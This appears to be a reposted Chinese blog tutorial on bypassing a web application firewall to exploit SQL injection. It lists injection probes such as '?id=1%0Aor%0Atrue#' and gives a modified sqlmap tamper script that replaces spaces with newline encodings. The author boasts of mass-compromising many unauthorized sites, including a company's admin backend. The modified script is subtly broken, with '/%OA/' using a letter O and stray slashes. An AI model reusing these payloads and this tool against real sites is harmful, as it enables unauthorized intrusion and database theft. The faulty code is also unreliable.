前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqlmap_修改tamper脚本_绕过WAF并制作通杀0day

sqlmap_修改tamper脚本_绕过WAF并制作通杀0day

作者头像
HACK学习
发布2019-08-06 12:04:45
3.6K0
发布2019-08-06 12:04:45
举报
文章被收录于专栏:HACK学习

第一步:找注入点

进网站先找注入点

●网站新闻部分都是带参数的

●这个部分不是伪静态

尝试注入:

代码语言:javascript
复制
?id=1'

报错,不拦截,Access数据库

?id=1'or'1'like'1

拦截

?id=1 or

拦截

?id=1or

不拦截

waf可能会判断空格后的关键字,并且拦截成对的单引号

代码语言:javascript
复制
?id=1 xor true#

不拦截,成功注入查询至新闻的最后一篇文章

代码语言:javascript
复制
?id=1 or true#

拦截

●看来这个waf并没有拦截xor这个关键字

●并且确定确实有注入点,并且参数是int型

select之类的关键字就不说了,肯定被拦截

第二步:尝试绕过WAF

如果waf检查空格后的字符

那么就尝试对空格进行Unicode编码

代码语言:javascript
复制
?id=1%20or%20true%23

拦截

?id=1%u0020or

拦截

?id=1%A0or

拦截

id=1%00or%00true

不拦截,但是%00却截断了注入语句,并没有注入成功

对空格进行编码绕过失败

换一个思路:

如果注入语句不在同一行上呢?

sql查询就算被回车键截断也可以成功进行

那么把空格替换成回车呢?

代码语言:javascript
复制
?id=1%0Aor%0Atrue#

不拦截,并且查询成功!

利用回车截断注入语句证明可行!

第三步:利用注入点

网上查找相关的tamper

很遗憾并没有把空格替换成回车的脚本

(也有可能是本人眼睛瞎没找到)

那么就在原有的tamper上进行修改

sqlmap自带的tamper:

space2comment

这个脚本的原代码是把空格替换成/**/

代码语言:javascript
复制
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal

进行修改,把/**/改成%0A

另存为space20A.py

代码语言:javascript
复制
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/%OA/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/%0A/"
                continue

            retVal += payload[i]

    return retVal

带入sqlmap,成功爆出数据库

第四步:通杀0day 批量拿站

拿下一个企业站并不算什么

令我惊讶的是大多数网站都在用这个waf

导致大多数网站都成功通杀

举例:

XX动画公司,成功手工注入

进入后台:

还有一些站也被成功注入,就不一一举例了

关于怎么写tamper脚本

找到waf绕过规则,然后尝试修改sqlmap原有的tamper脚本

然后循序渐进,慢慢地提高自己的过waf能力

SQL语句和熟悉数据库的功底很重要

作者:ALDYS4

来源:CSDN,已获作者授权

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档